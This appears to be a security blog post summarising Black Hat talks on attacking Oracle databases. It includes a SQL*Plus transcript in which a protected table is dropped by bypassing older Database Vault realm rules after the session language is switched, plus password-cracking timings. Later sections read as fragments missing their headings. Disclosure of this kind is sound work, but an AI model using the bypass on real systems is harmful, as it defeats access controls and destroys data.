This year 2 presentations from Esteban and Sid were dedicated to Oracle:

Hacking and protecting Oracle Database Vault - Esteban Fayo

Esteban describes different attacks against Oracle Database Vault.

These well-known techniques are

* With OS access

* Creating and executing a procedure in MACSYS schema

* SYS user can bypass DB Vault

* Impersonating SYS using SQL Injection

* Exploiting other vulnerabilities specific to DB Vault.

Keep in mind that Esteban decribes only a subset of possible attacks. There are for example  other possibilities to execute OS commands or impersonate other users available.

My favorite exploit from this presentation to bypass (older versions of) database vault is the following one:

————————————————

SQL> connect onedba/onedba Connected. 

SQL> drop table hr.jobs cascade constraints;   

drop table hr.jobs cascade constraints   

* ERROR at line 1:   

ORA-00604: error occurred at recursive SQL level 1  

ORA-47401: Realm violation for drop table on HR.JOBS   

ORA-06512: at “DVSYS.AUTHORIZE_EVENT”, line 55  

 ORA-06512: at line 13 – Switch to a different NLS_LANGUAGE 

SQL> alter session set NLS_LANGUAGE=”LATIN AMERICAN SPANISH”; 

Session altered. 

SQL> drop table hr.jobs cascade constraints; 

Table dropped. 

————————————————

It seems that some developers still not realized that there are other countries/languages outside of the US….

Here are the links from the Blackhat page (whitepaper, presentation, scripts) .

Hacking Oracle from the Web - Sumit Siddarth (Sid)

Great summary with different possibilities (Privilege escalation, OS execution, …) how to exploit Oracle from vulnerable web apps.

Really good and useful collection of information. Sid’s blog contains also some nice videos.

Here is the link from the Blackhat page (whitepaper) .

As mentioned in a previous blog post this talk  shows how to intercept unencrypted (=default) TNS connections and inject statements into a running session. Steve and Wendel will soon release 2 tools Vamp and thicknet.

I will try to present these tools at the DOAG Expertenseminar in Berlin.

A good summary of the talk can be found at Peter Van Eeckhoutten’s blog.

Here a quick comparision on my Quad2Core (2.4 GHz):

Password length (8 character) (only characters) can be cracked  in approx 3 hours. For numbers and characters it takes approx. 2.5 days for a single password.

Impressive work…

According the Eric Maurice from the Oracle security team it is a false positive of the Avira Antivir scanner engine.

It is good to know that also large software vendors are running in this problem of false positives. This can be really bad for the reputation of a software vendor.

More details are available in the blog entry of Niels.

This is a better solution than the online unwrapper.